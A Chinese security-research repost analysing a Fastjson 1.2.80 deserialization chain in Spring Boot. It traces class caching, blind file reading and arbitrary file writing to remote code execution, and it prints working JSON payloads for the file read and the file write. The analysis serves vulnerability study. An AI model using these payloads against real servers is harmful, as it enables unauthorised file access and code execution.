fastjson1.2.80 in Springtboot新链学习记录

admin 2025年4月17日09:09:33评论28 views字数 6915阅读23分3秒阅读模式

免责声明:由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章作者:先知社区(ph0ebus)

文章来源:https://xz.aliyun.com/news/16145

前言

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法,但不指定要反序列化的特定类,都会受此漏洞的影响。

fastjson1.2.80 in Springtboot新链学习记录

在之前的研究中针对fj1.2.80已经有了三种常见的利用场景

GitHub - su18/hack-fastjson-1.2.80

fastjson1.2.80 in Springtboot新链学习记录

漏洞复现

需要的依赖

  • jackson
  • commons-io

思路

  1. 将InputStream放入fastjson缓存
  2. 读取/tmp文件下的文件,找到docbase的文件名。
  3. 往${docbase}/WEB-INF/classes/路径下写入恶意类
  4. 通过fastjson触发类加载

GitHub - ph0ebus/CVE-2022-25845-In-Spring: exploit by python

fastjson1.2.80 in Springtboot新链学习记录

漏洞分析

cache

这个新链子也是利用缓存机制

fastjson1.2.80 in Springtboot新链学习记录
fastjson反序列化符合条件的期望类时,会将setter参数、public字段、构造函数参数加到缓存中
fastjson1.2.80 in Springtboot新链学习记录
先分析一下添加缓存的过程,以下面payload为例
{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException"}
fastjson1.2.80 in Springtboot新链学习记录
TypeUtils.getClassFromMapping()尝试从缓存中获取java.lang.Exception
fastjson1.2.80 in Springtboot新链学习记录
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings初始化中默认添加了一些作为缓存了的类,其中就包含Exception.class
fastjson1.2.80 in Springtboot新链学习记录
可以看到有95个缓存过的类
fastjson1.2.80 in Springtboot新链学习记录

从缓存中获取class后返回,然后继续恢复其字段信息

com.alibaba.fastjson.parser.ParserConfig#getDeserializer先通过获取到的class获取对应的反序列化器

fastjson1.2.80 in Springtboot新链学习记录
fastjson1.2.80 in Springtboot新链学习记录
可以跟踪到这行关键代码
fastjson1.2.80 in Springtboot新链学习记录
根据异常处理类的继承关系可以发现,java.lang.Exception类符合这个判断条件,于是反序列化器被设置为ThrowableDeserializer
fastjson1.2.80 in Springtboot新链学习记录
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze反序列化过程中会将Exception作为期望类
fastjson1.2.80 in Springtboot新链学习记录
然后解析json中的键值对,这里key是@type
fastjson1.2.80 in Springtboot新链学习记录
当key为@type时会将Throwable.class作为期望类传入com.alibaba.fastjson.parser.ParserConfig#checkAutoType()
fastjson1.2.80 in Springtboot新链学习记录
fastjson1.2.80 in Springtboot新链学习记录
需要经过黑名单过滤和白名单校验
fastjson1.2.80 in Springtboot新链学习记录
继续跟进到这段代码,根据传入的Typename来加载类,加载后,如果是期望类的子类则加入到缓存mapping中
fastjson1.2.80 in Springtboot新链学习记录

read

进一步分析一下任意读的payload

{  "a""{    "@type""java.lang.Exception",    "@type""com.fasterxml.jackson.core.exc.InputCoercionException",    "p": {    }  }",  "b": {    "$ref""$.a.a"  },  "c""{  "@type""com.fasterxml.jackson.core.JsonParser",  "@type""com.fasterxml.jackson.core.json.UTF8StreamJsonParser",  "in": {}}",  "d": {    "$ref""$.c.c"  }}

利用循环引用尝试将字符串转换为对象并获取对象的值,按作者的话来说,这里是利用JsonPath来忽略本有的异常

接着上面继续分析,恢复好com.fasterxml.jackson.core.exc.InputCoercionException后,继续利用com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze获取字段,根据key实例化出FieldDeserializer进一步处理

fastjson1.2.80 in Springtboot新链学习记录
继续,调用TypeUtils#cast进行类型转换
fastjson1.2.80 in Springtboot新链学习记录
com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)会根据传入的obj进行相应的类型转换,这里会进入Map类型这个分支
fastjson1.2.80 in Springtboot新链学习记录
跟进到com.alibaba.fastjson.util.TypeUtils#castToJavaBean(java.util.Map<java.lang.String,java.lang.Object>, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig),根据构造方法参数类型clazz获取反序列化器,clazz为com.fasterxml.jackson.core.JsonParser
fastjson1.2.80 in Springtboot新链学习记录
获取到反序列化器后,调用putDeserializer函数this.deserializers.put(type, deserializer)
fastjson1.2.80 in Springtboot新链学习记录
这里就会将typedeserializer存入com.alibaba.fastjson.util.IdentityHashMap#buckets
fastjson1.2.80 in Springtboot新链学习记录
在后续恢复com.fasterxml.jackson.core.JsonParser中,调用this.deserializers.findClass(typeName)就可以从com.alibaba.fastjson.util.IdentityHashMap#buckets中获取到这个类
fastjson1.2.80 in Springtboot新链学习记录
fastjson1.2.80 in Springtboot新链学习记录

com.fasterxml.jackson.core.json.UTF8StreamJsonParsercom.fasterxml.jackson.core.JsonParser的子类,类似前面利用java.lang.Exception恢复com.fasterxml.jackson.core.exc.InputCoercionException一样

fastjson1.2.80 in Springtboot新链学习记录
因为实现JsonParser的类中只有UTF8StreamJsonParser的构造参数存在InputStream,因此可以进一步获取到InputStream
public UTF8StreamJsonParser(IOContext ctxt, int features, InputStream in, ObjectCodec codec, ByteQuadsCanonicalizer sym, byte[] inputBuffer, int start, int end, int bytesPreProcessed, boolean bufferRecyclable) {    super(ctxt, features);    this._quadBuffer = new int[16];    this._inputStream = in;    this._objectCodec = codec;    this._symbols = sym;    this._inputBuffer = inputBuffer;    this._inputPtr = start;    this._inputEnd = end;    this._currInputRowStart = start - bytesPreProcessed;    this._currInputProcessed = (long)(-start + bytesPreProcessed);    this._bufferRecyclable = bufferRecyclable;}
fastjson1.2.80 in Springtboot新链学习记录

而获取InputStream就是为了实现任意文件读

fastjson 读文件 gadget 的利用场景扩展

原blackhat usa 21的议题ppt

https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf

这里就是通过org.apache.commons.io.input.BOMInputStream来逐字节盲读取文件

fastjson1.2.80 in Springtboot新链学习记录
org.apache.commons.io.input.BOMInputStream#getBOM中会调用org.apache.commons.io.input.BOMInputStream#find方法
fastjson1.2.80 in Springtboot新链学习记录
跟进find方法可以发现,这里先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的,getBom方法 就会返回null,如果遍历结束,没有比对错误那就会返回一个ByteOrderMark对象
fastjson1.2.80 in Springtboot新链学习记录

因此逐字节盲读取的关键差异点就在这里

最后输入流来源来自于jdk.nashorn.api.scripting.URLReaderpublic URLReader(URL url)可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。这里传入了file协议用于列举目录

write

然后分析一下任意文件写的payload

{  "a": {    "@type""java.io.InputStream",    "@type""org.apache.commons.io.input.AutoCloseInputStream",    "in": {      "@type""org.apache.commons.io.input.TeeInputStream",      "input": {        "@type""org.apache.commons.io.input.CharSequenceInputStream",        "cs": {          "@type""java.lang.String"          "${shellcode}",          "charset""iso-8859-1",          "bufferSize": ${size}        },        "branch": {          "@type""org.apache.commons.io.output.WriterOutputStream",          "writer": {            "@type""org.apache.commons.io.output.LockableFileWriter",            "file""${file2write}",            "charset""iso-8859-1",            "append": true          },          "charset""iso-8859-1",          "bufferSize"1024,          "writeImmediately": true        },        "closeBranch": true      }    },    "b": {      "@type""java.io.InputStream",      "@type""org.apache.commons.io.input.ReaderInputStream",      "reader": {        "@type""org.apache.commons.io.input.XmlStreamReader",        "inputStream": {          "$ref""$.a"        },        "httpContentType""text/xml",        "lenient": false,        "defaultEncoding""iso-8859-1"      },      "charsetName""iso-8859-1",      "bufferSize"1024    },    "c": {}  }
这里和blackhat的议题提到的也有很多共通之处,都是利用org.apache.commons.io.input.TeeInputStream#read()方法来写入数据
fastjson1.2.80 in Springtboot新链学习记录

其中的一些细节可以参考

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析

但是这里作者似乎找到了一个更好的链子规避blackhat议题中原Poc链子中存在的写入缓冲区的8192字节限制

fastjson1.2.80 in Springtboot新链学习记录
fastjson1.2.80 in Springtboot新链学习记录

write2RCE

然后需要讨论的就是如何在任意文件写入的情况下RCE

https://mrwq.github.io/aggregate-paper/butian/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%88%B0RCE/

Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

常见的做法比如覆盖charsets.jar就是利用jvm的懒加载,覆盖<font style="color:rgb(74, 81, 83);">JDK HOME 目录下原有的 jar中</font>未被加载的charsets.jar包。但这个做法需要事先知道 JDK HOME 的目录路径,并且需要root权限。而且需要针对目标服务jdk版本准备恶意charsets.jar文件,否则可能影响正常服务;又比如利用类加载,在jdk home目录下向classes目录写入恶意class文件,然后利用fastjson的@type触发类加载即可RCE

这里作者也是利用了类加载,不过这里换了一个新的类加载口子

在fastjson反序列化过程中,针对不在黑白名单,并且缓存中没有的类会通过com.alibaba.fastjson.util.TypeUtils#loadClass()尝试加载类,其中会通过通过TomcatEmbeddedWebappClassLoader类加载器加载类

fastjson1.2.80 in Springtboot新链学习记录
根据双亲委派机制会委派WebappClassLoaderBase来加载,一路跟下去可以发现在org.apache.catalina.loader.WebappClassLoaderBase#findClass中会调用org.apache.catalina.loader.WebappClassLoaderBase#findClassInternal方法来寻找内部类
fastjson1.2.80 in Springtboot新链学习记录
跟进findClassInternal
fastjson1.2.80 in Springtboot新链学习记录
进一步跟进
org.apache.catalina.webresources.StandardRoot#getClassLoaderResource跟踪类加载路径
fastjson1.2.80 in Springtboot新链学习记录
fastjson1.2.80 in Springtboot新链学习记录
这里会判断isCachingAllowed(),而属性cachingAllowed默认为true
public boolean isCachingAllowed() {    return this.cachingAllowed;}
fastjson1.2.80 in Springtboot新链学习记录
所以进到org.apache.catalina.webresources.Cache#getResource方法
fastjson1.2.80 in Springtboot新链学习记录
首先调用noCache方法,很明显这里会返回true,从而调用到this.root.getResourceInternal(path, useClassLoaderResources)
private boolean noCache(String path) {    return path.endsWith(".class") && (path.startsWith("/WEB-INF/classes/") || path.startsWith("/WEB-INF/lib/")) || path.startsWith("/WEB-INF/lib/") && path.endsWith(".jar");}
跟进org.apache.catalina.webresources.StandardRoot#getResourceInternal
fastjson1.2.80 in Springtboot新链学习记录
就可以发现这个类加载路径
fastjson1.2.80 in Springtboot新链学习记录

如果这个class文件存在就会正常返回该文件资源,然后恶意类加载达到RCE

后记

好复杂好复杂,结合三篇议题ppt才能微懂,如果有误轻喷

 

原文始发于微信公众号(七芒星实验室):fastjson1.2.80 in Springtboot新链学习记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月17日09:09:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson1.2.80 in Springtboot新链学习记录https://cn-sec.com/archives/3967657.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息